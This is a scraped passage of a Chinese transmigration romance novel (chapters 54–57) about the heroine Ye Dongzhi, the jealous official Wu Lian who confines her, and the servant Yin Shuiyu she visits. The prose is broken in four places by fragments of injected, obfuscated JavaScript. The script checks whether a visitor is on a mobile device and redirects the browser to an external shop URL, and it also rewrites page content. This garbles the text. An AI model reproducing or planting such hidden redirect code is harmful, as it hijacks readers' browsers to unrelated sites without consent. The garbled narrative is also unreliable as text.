他没回答她,只是亲手给她盛了碗汤,又将小菜夹进她的碗中,“先用膳,把伤养好了我便不罚他。” 语气虽然温和,但透着股不可商量的意味。 她冷着脸不想搭理他,但肚子却不争气地叫了起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525197|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “吃饱了再与我置气吧。”他无奈叹口气。 她瞪了他一眼,讽刺,“你少歪曲事实,我哪有置气,分明是你无理取闹,你每次见到阿玉便看他不顺眼。” “可他什么也没错,你便仗着权势欺负他。” 邬涟抿唇,只是哀伤地看着她。 方才在院外对待殷水玉的气势,在她面前仿佛顷刻间便消散殆尽。 “我为何这般,你一点都不清楚吗?”半晌,他垂眸,长睫遮住眼中失落,低声继续说,“我妒忌他。” 叶冬知本还想喋喋不休斥责他,但他一张口便让她怔住了。 这种话居然会从邬涟的嘴里出来。 他已位极人臣,有数不清的荣华和权势,正如他所说,天下间什么东西于他而言不是唾手可得,他竟然说自己妒忌一个什么都没有的人。 “为何?” “为何?”他重复了遍,唇角无力地扯动下,“你心里全都明白,只是你不愿意罢了。” 叶冬知哑了火,她确实都知道,只是一直在装糊涂,她仗着他心悦她,要他给她解药,要他违抗养育自己长大的义父,还肆无忌惮地用恶毒的话刺伤他,因为她知道,不管她做了多过分的事,他都不会真正伤害她。 这一点,在很早之前她就意识到了。 她不知道自己对他的心意,也刻意不去想,只想做好当前的事,攻略完成,便能回家。 这里始终不是她的归宿,她总有一天是要离开的。 她沉默着,低头拿了筷子去夹菜,但身侧人接着道,语气比方才更哀伤,近乎是有些自暴自弃,“你心悦他,护着他,而我对你而言不过是消遣取乐的玩意,所以,我妒忌,恨不得他此刻就从你身边消失!” “我究竟哪里比不上他?” 邬涟炽热的目光几乎要她钉穿,她闷着不开口。 她这人是个犟脾气,若是谁和她对着干,她即刻便要怼回去,但如果对方直接剖明心意,她反而会不知所措。 他握住她的肩膀,迫使她看着自己,拉起她的手放在脸上,眼神是前所未有的破碎和沉痛,“我这张脸不如他吗?” “你次次护着他,在你心里,他比我重要,是不是?” 她垂眸避开他的眼神,却被他制止,不得不再次面对他。 他离得好近,近得她能看清他眼尾的红和眼中闪烁的泪光。 他像是压抑了许久,所有情绪都刹那宣泄而出,一字一句追问她,“为什么不开口......我猜对了?” “呵......”他颤抖着,捧住她脸的手也难以抑制地战栗着,他忽地伸手将她揽进怀里,头搁在她颈窝,语气哽咽到说不出一句完整的话。 “那我呢?你......不要了吗.....” 她无措地僵着身子,想说些什么,但发现嗓子像被堵住了,发不出声来。 他好像,好像真的很难过,难过到她能感觉到他的眼泪浸透了她肩上的布料。 不知为何,她觉得有些愧疚,然后伸手拍了拍他的背,引得他骤然一颤。 他抬起头,神情有一瞬的空白,然后听到她生硬地说: “别哭了,我对他不是你想的那样。” 这句话落下,邬涟脸上的神情仿佛凝滞了,他眼睛周围都泛着红,这样破碎的神色,与往日的冷清相比,显得有几分惹人怜爱。 许久后,他像是受到了极大冲击一般,似是有些难以置信,小心翼翼道,“你......说什么?” 55. 第 55 章 叶冬知没再重复,只道,“没听清楚就算了。” 他愣愣盯着她,先是迷茫,随后是震惊,然后逐渐化为巨大的惊喜。 没等他说话,她嫌弃地“啧”了声,“起开,挡着我用膳了。” 他乖乖让开了些,自己也不吃,见她夹了什么,便将那一盘子都端到她面前。 吃到中途,她问,“现在能放我回去了吗?” 闻言,他顿了顿,喉间有些发涩,“现在还不行。” “怎么不行?” 她皱起眉,像是又有些不高兴了。 邬涟眼底几不可察地黯了一瞬,“你回去了,便又要与他待在一起。” “更何况,若是又发生意外,他如何能护得住你?” 叶冬知没戳穿他的心思,又问,“那他总能放了吧。” “也不行。”这次他的态度更加斩钉截铁,丝毫没有商量的余地。 见她脸色冷了下来,他才补了句,“我会将他安置在一处偏僻的院落,不会饿他,也不会罚他,至于此前长安那一脚,我也会请大夫给他医治。” 她听完点头,没再开口。 * 又这样过了几日,她的身体没有不适,想来,媚骨香应当全都解了,腿心间的伤因着每日擦药也很快愈合。 晚间,她与邬涟一同用膳,长安进来禀报。 他看见桌边的女子,迟疑着没有开口。 邬涟抬眸,“说吧。” 长安从怀中抽出密信,递过去,才道,“线人传来密报,侯爷在前线......大败了。” 邬涟手顿了顿,“为何?” “敌军突然出了一员从来没听过的勇将,与侯爷下了战书,军中将领都劝侯爷不要接,但侯爷自信能赢过那人。但之后,侯爷被那人斩下左臂,一时间军心大动,我军已后撤五百里扎寨。” “消息何时会传回宫中?”他皱眉。 “不出七日,恐怕圣上与一干大臣,都能得到消息。” 邬涟沉默片刻,放下筷子站起身,对叶冬知道,“今夜不必等我,你先睡吧。” 她嚼着东西没搭理他,说得好像两人跟做了夫妻似的,本来最近一直是她睡着他的榻,他就在旁边的小榻上将就的,又没同床共枕过,还说得这么缠绵。 没等到她的回答,他也不恼,只叮嘱阿蔷将她夜间的被子换成厚一点的,现在已是夏末了,季节交替时,最易受凉。 吩咐完后,他的目光又在她脸上停留会,才带着长安出了门。 直到第二日夜里,她已经要洗漱就寝,门忽地被人打开,邬涟一言不发地进了屋,然后便一直盯着她瞧。 她被这莫名其妙的眼神看得心里发毛,转头避开他的视线,去捋平榻上的褶皱。 等到她再次回头,他依旧看着她。 那眼神好奇怪,至少她此前从来没在邬涟脸上看到过,像是愧疚、窃喜,又或者还有些她看不懂的东西。 他欲言又止,她白了他一眼,没好气道,“有话便说。” 邬涟垂在身侧的手不由自主攥了攥,语气带着连他自己也未发现的凝重,甚至于有些小心翼翼。 “之前,我答应你会为你查出谋害你父母的凶手,如今,我已经知道是谁了。” 她心里莫名一跳,“谁?” 邬涟闭了闭眼,像是依旧有些难以接受般,极缓地吐出两个字,“义父。” 叶冬知不觉得有什么,但这具身体仿若控制着她的心,使得她心口钝痛,有些难以呼吸,“为什么?” “北渡一战,以及茂阳城都是你父亲拼死拿下的,但最后得到陛下赏赐的只有义父一人,而那场让你父母身陨的埋伏,是义父一早就计划好的。” “还有,你与义父,从始至终都没有婚约。” 他只说了个大概,但凡长了脑子的人怎会一点听不出来。 这分明是邬镇庭抢了叶应中的军功,又忌惮叶应中在军中威望越高,更害怕东窗事发,所以才痛下杀手。 可怜叶应中脾性耿直,到死都不知道自己跟随多年的大哥,早已对自己心生嫌隙。 极大的冲击使得她有些站立不稳,她恍然想起来,邬镇庭在侯府的那几日,看她的眼神分明不是长辈看晚辈的眼神,而是一个男人对女人最原始的欲望,说不定,邬镇庭一早就觊觎自己兄弟这个貌美年幼的独女了。 眼见她脸色越来越白,邬涟伸手扶住她,无力地低声道,“我合该向你赔罪。” 叶冬知稳了稳心神,将那股悲痛和愤怒强行压了下去,语气清醒,“与你有何关系,别什么责任都往自己身上揽。” 他眼睫颤了颤,抿唇扶她到榻边坐下。 二人一时无言。 房内燃着安神的熏香,其余蜡烛都已尽数熄灭,只剩下榻边还有一盏。心口痛意缓缓褪去,她抽回他搀扶自己的手,隐隐觉得下腹部有些不适,“时候不早了,我要歇息了。” “好。”他应了声,起身走到外间,合衣躺在小榻上。 屋内很静,叶冬知平躺着,脑中回想着他方才说的话,但竟然没有觉得很意外。 兴许是在她与邬镇庭为数不多的见面中,她便觉察出对方与百姓口中安邦定国的大将军有许多不符。 冷漠自私,强硬狠毒,好色阴险,对待邬涟以及两个亲生子女几乎没有温情可言。 就这样迷糊想了会,下腹部那股隐痛越发明显,她微微蜷缩起身子,从平躺改为侧躺。 这点动静在寂静的夜里很明显,似乎惊醒了外间浅眠的人,一阵窸窣的声音过后,他走至了她的榻边,轻声问:“睡不着吗?” “嗯。”她恹恹应了声。 以为是方才的消息太过惊骇,他在黑暗中垂眸,有些愧疚,“是我的不是,不该在你毫无准备的时候就告知你。” 她不耐烦地打断他,“不是因为这个。” “那是?” 他面上明显担忧起来,那双一惯毫无情绪的眼在此刻也有了常人的紧张。 她顿了顿,慢慢道,“我大概是要来葵水了。” 这句话出来,邬涟怔愣了一瞬,他想过许多种可能,但没想到这点,闻言,一抹浅淡的红晕在他脸上漫开。 不过屋里只有些洒进来的月光,叶冬知看不到他的神色,只听得他道,“我知道了。” 语罢,他快步出去了。 片刻后又回来了,然后往叶冬知的薄被里塞了个不知道从哪里弄来的汤婆子,为防着她被烫着,还在外面套了个蚕丝的袋子。 “我听人说,女子来葵水时会腹痛难忍,有汤婆子捂着会好些。” 他清冷的声音缓缓响在夜里,莫名让人觉得安心。 小腹处传来一阵阵暖流,不烫,暖热刚好,她心口忽地像被羽毛轻轻撩拨了下,有些痒。 “起来喝些热水吧,水里我加了白芍粉,可以止痛,不会对身子有什么害处。” 她坐起来,就着他的手喝了杯热水。 他将被子给她盖好,语气比白日里对她还要温和些,“睡吧,我守着你,若你无事了我再回去。” 叶冬知躺在榻上睁着眼睛。 其实从刚才他给她拿汤婆子,到现在,她一直都觉得很梦幻。 她似乎,正在被邬涟照顾着?但是明明前不久两人还吵得不可开交。 也许是快要来葵水,她觉得有些烦躁,躺了好一会也没能睡着,索性便对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525198|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着床榻边的人道,“你回去睡吧,你在这里坐着,我不习惯。” 身侧的人没动,她继续说,“我说真的,有人看着我更加睡不着了。” 虽担心她,但见她如此说,便只好依着她,“那好罢。” 等他躺回了外间,她才重新闭上眼。 半梦半醒间,她仍觉得腹部很是不适,痛得她额头溢出了一层薄汗,她烦躁地在榻上翻来翻去。 一个声音悄无声息地突然响起,“还是疼吗?” 叶冬知惊了一跳,但也没心思训斥他,只说,“你不是睡了吗?” 他低声,“没睡,害怕汤婆子冷了,中间给你换了一次。” 刚要说话,腹部陡然一阵抽痛的痉挛,疼得她倒吸一口气。邬涟听见了,轻声道了句“冒犯”,便将手伸进了她的被中,寻到她的小腹处,动作轻柔地揉了起来。 温热的掌心有规律地动作着,揉了一会,确实疼痛减轻了不少。 她盯着他模糊的轮廓发愣,闷声说,“可以了,没那么疼了。” 他却没停下来,“睡吧,我会尽量动作轻一些,不会扰到你。” 清浅的檀香混着他身上清冽的气息飘进她的鼻间,她好不习惯。 邬涟居然还有这么温柔的时候,她还以为他只会训斥她,要不便是在狱里用尽刑具撬开那些犯人的嘴呢。 她的神思胡乱飘飞着,居然真的就这样睡着了。 均匀的呼吸声响起,邬涟的手顿了顿,动作没停,借着月光,另一只手将她散落在面颊上的碎发挽到她耳后。 少女侧躺着,面朝着他,唇微张着,神情放松,他的心也随之安定下来。 再睁眼时,已然快日上三竿了。 这一觉,她睡得很舒服。 叶冬知侧目看去,见邬涟居然还坐在她身边,依然保持着为她揉肚子的动作,见她看过来,他眉眼柔和地朝她轻轻笑了笑。 “醒了?” 平日几乎是见不到邬涟笑的,是以这个笑顿时有一种冰雪消融、万物复苏之感,一时间让她有点晃神。 她眼睫颤了颤,避开了,随即察觉到她腹部上的手,有些不敢置信地问,“你不会在这里坐了一夜吧?” “嗯。” 他回答得很轻描淡写,但叶冬知却的确有些被震惊到了。 看外面的天色,现在应该快午时了,按照现代的时间换算,也就是差不多十一点了。 她自从来到古代,每晚大概是九点就开始睡觉了,也就是说,邬涟这个姿势保持了超过十二个小时。 “你的手不累吗?”她不由得有些咂舌,心口莫名觉得有些不忍。 见她确实无事了,他才将手拿出来,其实已经不太能动了,可他只是面不改色道,“不累。” 怎么可能不累,她以前躺在床上玩手机,玩半个小时手就酸得不行,别说这么长的时间了。 想到此,她忽而又有些烦,于是说话的语气也有点冲,“我睡着了你就把手拿出来啊,自己回去睡,用不着你在这守一夜。” 不明白她为何突然生气,他无措地抿了抿唇,“我担心你半夜又被疼醒,我是男子,不知女子葵水时要腹痛多久,所以——” “你蠢啊,怎么可能从头到尾都在痛,若真是如此,昨夜我早就叫大夫了。” 蓦然被她训了一通,他也没反驳,只说,“我知道了,你别气了,是我不好。” 叶冬知看着他,只觉接下来的气怎么也发不出来,就像是一拳打在了棉花上。 换作以往,他断断不会如此说话,自从他知道她对殷水玉没有男女之情后,他便如换了个人一般。 她瞪了他一眼,从榻上起来没再看他了。 56. 第 56 章 闲暇时,邬涟便会在屋内处理公务。 以往他都是在自己书房,自从她待在这里之后,他便将桌子搬到此处,抬头就能看见她。 他做事的效率很高,但奈何位高权重,需要他过目和拿主意的事情也不少,一旦处理起来,半日便过去了。 叶冬知待在院里没法出去,久了她有些无聊。 晚间用过膳,长安拿来一摞书,对邬涟道,“公子,你要的东西都写好了。” 叶冬知倚在贵妃榻上玩九连环,解了许久没解开,心烦意乱间闻言,顺口问道,“什么东西?” 邬涟搁下笔,抽过递来的书翻了翻,对她说,“一些话本,我见你平日爱看,便叫人寻了些来。” “不会又是什么才子佳人,歌姬供养读书人的故事罢,这些我都看厌烦了,没什么新意。” 听到是话本,她刚起来的兴致又下去了。 从来到这里,她看过的话本没有一百也有五十,市面上畅销的她都看了个遍。 长安瞥见公子欲言又止的神色,立马心领神会,嘴快地一股脑全说了出来。 “诶!这可不是那些常见的话本,叶小姐,这可是公子重金聘请人专门为你写的,知道你看厌了以往的故事,故而让写书人绞尽脑汁写了好多新奇的。” “是吗。”她从贵妃榻上下来,抽走邬涟手中正翻阅的那本。 她将书合上,看见那书皮上写着:《锁金枝》。 粗略翻了翻,大概讲的是一美貌女子被叔父卖入大户人家做丫鬟,结果正好被老夫人选中要为府中少爷冲喜的故事。 书中写少爷傲慢,不喜祖母塞过来的通房,最初对她多番嫌弃,但之后却渐渐动心,等到这少爷终于认清心意之时,这小丫鬟早已卷了细软跑了。 之后的发展不难让人猜到,小丫鬟逃,少爷一直追,其间拉扯足有半本书。 虽然在以前这种套路她已经看过许多,但在这个朝代,这个故事可比凤凰男高中、歌伎才子新颖得多。 她拿了书坐回去,手边放着新鲜的葡萄和荔枝,一边看一边吃着。 邬涟见她似是喜欢,目光也柔和下来,安心继续处理手边的事情。 许是来了葵水身子容易乏,她看了会便从坐着改为躺着了,又过了片刻,便觉举着书的手腕也开始酸起来,可她又有些舍不得未看完的故事。 邬涟的余光一直在注意她的动向,见她有些不对劲,他问,“不好看吗?” 她困倦地应了声,“还行。” “累了便睡会吧,女子这几日是该多休养,晚膳我吩咐了小厨房做了补气血的药膳,晚间可多用些。” 他起身走至她身侧,垂眸看她懒散地躺着,一只腿曲起,一头墨发只简单地梳了梳,着了身杏色的襦裙,未施粉黛,亦娇俏可人。 见她有些不悦地盯着他,但又没闭眼,邬涟略一思索便明白了她的意思,不由得失笑,“还想看?” “嗯。”这回她才闷声应了。 “我给你念,你闭着眼听。” 他拿起话本,徐徐念了起来。 邬涟的嗓音向来很好听,清冽悦耳,如碎玉击冰。 尤其是他念起来这等缠绵的故事,更别有一番韵味。 叶冬知舒服地窝在榻上,怀里抱着温热的汤婆子,听得津津有味,然而,他念着念着却忽然停了下来。 “怎么不念了?” 她睁开眼,带着点慵懒的鼻音,语气不解。 邬涟的视线从话本移到她脸上,顿了顿道,“接下来的内容不好看了,换一本吧。” 正听在兴头上,叶冬知哪能如意,“我听着马上就是精彩的部分了,怎的就不好看了?还是说你累了,不想念了?” 见她不满,他连忙说,“并非我累了,而是后面的内容实在是......” 他没好意思说下去,脸忽地红了起来,配上他躲闪的神情,反倒令她起了兴致。 她哼了一声,“无妨,你接着念就是,我倒要听听后面发生了什么。” 他无法,只得继续念道: “青禾娇呓连连,软着嗓音求饶,‘奴婢受不住了,少爷您放过奴婢吧。’” “娇躯上的男子却笑了一声,‘好青禾,若是我现下饶了你,你岂不是又跑了。’言罢,他动作猛了起来,直摇得拔步床吱呀作响......” 念完这句,邬涟又停下了,后面的内容他怎的都张不了口。 叶冬知抬眸看去,只见面前的男子冷玉般的面上染上一层绯红,连带着耳朵,都红了个彻底。 她盯着他看了会,察觉到她戏谑的眼神,他偏头避过,只留给她半边侧脸,无奈说,“别看了。” 她没忍住笑了,“还害羞?” “有什么可害羞的,你和我连那事都做过了。” “那不一样,之前是事发突然,情非得已而为之。” 他低声解释。 “我看倒不是,给我解药的时候我见你主动得很,像是憋了——”她不依不饶地说着,唇却骤然被人捂住。 她眨了眨眼,看向对面慌张无措的人,仅仅三言两语,就惹得他连呼吸都急促起来。 他闭了闭眼,语气中带着几分祈求的意味,“别说了。” 纵然已有过了几次,但邬涟依旧如此前一般受不住撩拨,轻而易举就能使得他方寸大乱。 见此,她也没再开口,他顺势将手放了下来。 闹腾过后,她有了困意,裹着榻上的薄被,缓缓睡了过去。 晚间用过膳,她在院里溜达消食,见到空旷的院内多了一座秋千,秋千之上缠满了花枝。 她兴冲冲坐上去,抬头恰好能看到漫天的繁星,周遭传来蝉鸣,微风吹在脸上,无比惬意。 邬涟不知何时站在她身后,“可还喜欢?” 就连语气都如这晚风一般,轻柔得令人心醉。 虽心里爱不释手,但她心里对着邬涟软禁她这个行为依旧有些怨气,所以故意冷哼,“你猜。” 像是知道她的脾气,他也不恼,唇边露出个清浅的笑意,“无妨,若是不喜欢,我再遣人去做其他的,总能有你喜欢的。” 长安抱臂靠在廊下的柱子上,看着不远处两人欢快的身影,叶小姐坐在秋千上,公子在她身后推,这无比温馨的画面让他在心里啧啧两声。 看公子那不争气的样,叶小姐给他点好脸色,这都欢喜成什么样了。 这几天笑得比过往二十年加起来还多,嘴巴都要咧到脑后了。 自从前几日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525199|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶小姐住了进来,公子便到处找人打听女子喜欢什么,这不又是话本,又是秋千,过会还有个更大的惊喜呢。 一声炸响突然响起,一道极为绚烂的烟花在天幕中悄然绽放。 紧接着,无数道烟花自四面八方窜起,接连不息在空中绽放,将天空照得恍如白日。 叶冬知目不转睛地盯着,问身侧人,“今日好像也不是什么节日,怎的就有人放烟花了?” 烟花的光落在她的眼瞳,将她的面庞衬得仿若流光美玉,他敛眸不动声色地望着她,怕打搅她的兴致。唯有心脏在胸腔里剧烈跳动,震得他近乎目眩神迷。 “兴许是哪户人家有喜事罢。” 她不疑有他,从秋千上下来,挪了挪位置,能看得更清楚些。 这些烟花与她在现代看得一样别无二致,甚至更为华丽、盛大。 随着她的挪动,邬涟也悄无声息站在了她身侧。 他垂眼看着她垂在身侧的手,蜷了蜷手指,随即试探性地伸了出去。 起初只碰到了她的手指,她貌似并没发现,进而他得寸进尺,牵住了她的手指。 她愣了一下,转过头来看了他一眼,却没有甩开。 邬涟不由自主屏着呼吸,只觉连带着他的心也仿佛放了一场无声的烟花。 他越发大胆起来,伸出自己的手指,挤进她的指缝,与她十指相交。 一息,两息,她察觉到了却没有挣开。 此前,邬涟亲眼目睹她与殷水玉这般,嫉妒得失去理智,而今,他想时间停在这一刹那,再久一些,久一些。 约摸了过了片刻,她将自己的手抽了出来,烟花也逐渐到了尾声。 她转过身背对着他,语气一如既往地不算很好,“行了,少得寸进尺了,这个就当话本和秋千的谢礼了。” 手中骤然变得空荡,他有些恋恋不舍,但如今能得到的这些已经足够让他欣喜不已。 他低声应她,“好。” 她又坐回了秋千,她好似真的很喜欢。 他跟着她走过去,语气近乎直白,“我还要做什么,能继续得到方才的‘谢礼’?” 陡然听到他这么直接的话,叶冬知一时有些不适,连带着她的脸也有点燥热。 她肯定是因为葵水才这样的。嗯,一定是。 “放我出去的话,可以再让你牵一会。” 她荡了起来,声音随着秋千也漂浮起来。 话音刚落,他立刻道,“不行。” 眼见她又不说话了,邬涟看着她的侧脸,无力又委屈。 她随意一句话,就能将他的心搅得七上八下。他语气低落下来,“若是放你走,你便不会再来寻我,你会去寻他。” 叶冬知睨了他一眼,见他神色落寞,眼眸也不似方才有光,忽而觉得有些烦躁,从秋千上跳了下来,嘟囔道。 “我又没说一定要走,你摆个脸色,像我欺负了你一样。” 没听到动静,她回头见他直愣愣盯着自己,无措的神情居然看起来有些惹人怜爱,她又催促说: “我要歇息了,记得给我灌汤婆子。” “嗯。”他应了声,快步朝她走过来,走到她身侧,顺势牵着她的手往前走去。 这次,她没再拒绝。 57. 第 57 章 熬过了来葵水的前三日,后面便松快许多。 叶冬知今日醒得很早,她睁眼时,天边还只是蒙蒙亮。 黎明时天气还有些凉,她披了件衣裳起身,准备去如厕,路过外间小榻时,发现上面已经没了邬涟的身影。 她伸手摸了摸,冰凉一片,显然是很早就离开了。 他的动作向来很轻,若是有心不让她知道,轻而易举便能做到。不过她也没放在心上,如厕完回了榻上,继续睡了。 直到用过午膳,也没见邬涟回来。这几日他中午都会陪她一起用膳,若是午间还没回来,想必是有事出去了。 她在院子里溜达了一阵,瞧见院门处依然站着两个人。 那是邬涟手下的暗卫,自打她被软禁在这里,便一直有的。 殷水玉与她分开几日,按照他的性格,这几日想必会茶饭不思,加之此前系统便告诉她,她攻略殷水玉十分顺利,好感值已快要满了。 思及此,她有些担心这几日找不到机会见他,攻略进度回落也未可知。 她暗自思忖了一阵,看向院里角落处的杂物房。 那里与其他房屋没有连在一起,孤零零矗落在两颗百年槐树之间,门前的台阶落了些灰,应当是许久没有人进去过了。 她支开阿蔷,自己回了卧房,简易设置了个机关,一根丝线从房内延伸出来,可以从较远的距离控制屋内物品的掉落。 叶冬知又将屋内的一侧窗户打开,自己则躲在角落,借着博古架的遮掩,一时间难以被人发现。 她在心中反复演练,才一鼓作气拉动了细线,花瓶砸落在地上,剧烈的响声顿时吸引了院门处的两个暗卫。 两人一路冲进来,扫了眼碎裂的花瓶,然后一眼看见了被打开的窗户,着急之余,料定叶冬知是从这里跑了。 其中一人道,“赶紧告知公子,叶小姐跑了。” 语罢,二人翻窗出去,朝着院内其他地方寻去。 眼见人被引开,她蹑手蹑脚地走到那处库房,尽量避开灰尘重的地方,掀开窗户躲进了杂物房内。 两个暗卫寻了半天没找到人,一时心急如焚,这些日子他们都看在眼里,公子把叶小姐看得跟眼珠子一样,这下跑了,他俩怕只有吃不了兜着走。 对视一眼后,二人心照不宣地朝着院外而去。 叶冬知屏息听着脚步声越来越远,她才悄悄从杂物房出来,快步从院门跑了出去。 想来邬涟觉得她既不会武,又手无缚鸡之力,更怕人多了惹她心烦,是以居然就这么容易地被她逃了出来。 她边走边思索着殷水玉可能被关的地方。 侯府很大,她一时之间有些毫无头绪。 途径一条小道,入眼是成排的低矮瓦舍,与侯府其他院落建筑风格一致,却明显简陋许多。 一个圆脸丫鬟从里面走出来,看打扮,应当是浣衣的。 她脸上红扑扑的,擦了劣质的胭脂,唇上也涂了口脂,正端着盆满脸期待地往外走。 没走几步,迎面走来一个丫鬟冲她打趣道,“哟,又去寻他了?严姑姑说了,那人被大公子关着,只需两日取一次衣裳来洗便是,你倒是勤快,巴不得日日都去。” “难不成是见人长得俊,得了相思病?” 圆脸的小丫鬟涨红了脸,跺脚结巴道,“哪有!我这是去取三小姐的衣裳,你就知道浑说。” 像是害羞极了,那小丫鬟说完便几步跑开了。 叶冬知从这对话之中敏锐地捕捉到了一些信息,想来,她们口中的“那人”,便是殷水玉。 她打定主意后,便不远不近跟着这小丫鬟。 如这小丫鬟自己所说,她确实是来取邬雯换下的衣裳的,只不过,取完衣服,她左右看了看,发现没人注意到自己,才兀自走向一条幽深的小道。 这小道两处都栽种着茂盛的青竹,不注意看,倒是不会发现这里居然还有条路。 叶冬知跟着她七拐八绕地走了进去,在小竹林的尽头处,有一间屋子,门口站着两个五大三粗的汉子,门口还有一人高的铁栅栏。 那小丫鬟和门口守着的人打过招呼,就扒在小小的窗台上,红着脸对着里面的人说话,“玉哥哥,我来取你换下的衣服了。” 片刻之后,里头一双修长的手将一件团成团的衣裳递给她,小丫鬟接过衣裳,走出来一段路后,将衣裳抖开,里面掉出一块薄布,上面歪歪扭扭写着一行字。 小丫鬟捡起来看了眼,然后不在意地将布条扔到地上,用脚踹了几捧土盖上了,只拿着那件衣裳便端着盆准备离开。 等她走后,叶冬知才从隐蔽处走出来,扒开土,展开布条,上面用炭条写着: ——贵女勿忧心,我安好。 殷水玉此前并不识字,是在她身边之后才慢慢学了些。 看来应当是他想借这个小丫鬟传递些消息,奈何这小丫鬟压根不放在心上,只是贪图他的美貌而已。 她将布条收进怀中,径直朝着那处房屋走去。 很快,两个男人便察觉到了她的靠近,也一眼认出了她,抱拳说: “叶小姐,公子吩咐了,他还不能放出来,您请回去吧。” 屋内的人骤然听到屋外的谈话,心中一喜,将那扇只有两个手掌大的窗户打开,脸赶紧探向窗户边。 殷水玉的视线立马落在她身上,见她面色红润如常,想来是并未遭到惩罚,一颗心终于放回肚中。 他想张口唤她,但又唯恐会惹得她伤心,只好忍住闭了嘴,隔着小窗痴痴盯着她。 视线太过明显,叶冬知在瞬间就发现了,她偏头与窗户处的少年对视,对方眼中顷刻堆满了难以述说的思念和缱绻。 她用眼神示意他稍安勿躁,接着对门口的人道,“大公子只说了他不能出来,又未说我不能进去,将门打开。” 两人闻言,面面相觑。 公子确实没有吩咐过不能让她进去,事实上,他们连邬涟软禁叶冬知一事也不知道。 在邬涟手下做事,只需要按照吩咐做好,别的不要多问。 片刻后,二人面露难色,“叶小姐,属下只是按照规矩办事,您还是——” 叶冬知却恍若未闻,直接挡开两人张开的臂膀,他们害怕伤到她,也自然未敢用力。 她走到那扇铁栅栏门前,伸出手冷声道,“钥匙给我。” “这......” “怕什么,若是邬涟问起来,就说是我非要进去,你们拦不住,责任在我。” 叶小姐是公子心尖上的人,这事虽在府中暂未传开,老夫人那边还不知道,但是他们作为公子手下的人,多少还是知道一点的。 半晌,其中一人低叹一声,将钥匙递给了她。 进屋后,殷水玉早已站定在她跟前,他不像往日一般冲上来抱住她,而是待在原地,像是想靠近但又强迫自己忍住了。 他轻声唤她,声音颤抖,“......贵女。” 叶冬知朝他走近几步,见他显然比前几日要清瘦一些,微微散开的衣襟下,锁骨分明。 “这几日他苛待你没有,怎的又瘦了些?” 她顺势抬眼打量这间屋子,不大,陈设一应俱全,有窗,但都被框住,只留了一处小窗送吃食。 殷水玉摇头,“未曾,只是我思念贵女,食不下咽。” 她主动牵着他的手,到桌边坐下,语气温柔认真,“你放心,我会想办法让你出去的。” 少年盯着她,在这光照不进来的屋内,他的肌肤越发显得莹白,透出一股近似脆弱的美丽。闻言,他目光莹莹,眼中殷切令人心折。 “贵女,我出去之后还能在您身边伺候吗?” 这句话一出,叶冬知面露难色,虽仅有一瞬,还是被他敏锐地捕捉到了。 殷水玉心中明白,大公子喜爱贵女,与他有着同样的心思,大公子那般的天之骄子,怎能容忍他伺候在贵女身侧? 更不要说,那日大公子说的话,字字句句砸在他心中,都如剜心一般,让他不能不面对他话中提到的所有。 他太低贱了,什么都没有,什么都解决不了。 可他还是舍不下。 他喜爱着贵女,不比大公子少一分。 被关的这些日子,殷水玉想了很多,他从未奢求得到贵女与他同样的喜爱,他所求的,只是想要贵女多看看他,如若现在这些都无法实现,那他唯一所求,便是能继续在贵女身边伺候。 只是能看到她,他便心满意足了。如果再不能得见贵女,他活着的意义也将被抹去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525200|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 叶冬知目睹他的目光逐渐黯淡下来,他的眼睛过于漂亮,此刻失了颜色,仿若一滩寂静的死水,她不忍,轻轻捧住他的脸,弯腰在他额间落下一吻。 这一吻似蜻蜓点水,轻柔得让殷水玉几乎以为是幻觉。 他整个人怔愣住了,但额头柔软、温凉的触感都在提醒他这并不是一场梦。 贵女......吻了他。 随即,他听得她坚定道,“会的,我向你保证之后还能待在我身边。” 很短的一句话,于殷水玉而言,他又一次被神明救赎了。 即便他无能,可她没有嫌弃他,依然慷慨地赐予他守候在神明身畔的权利。 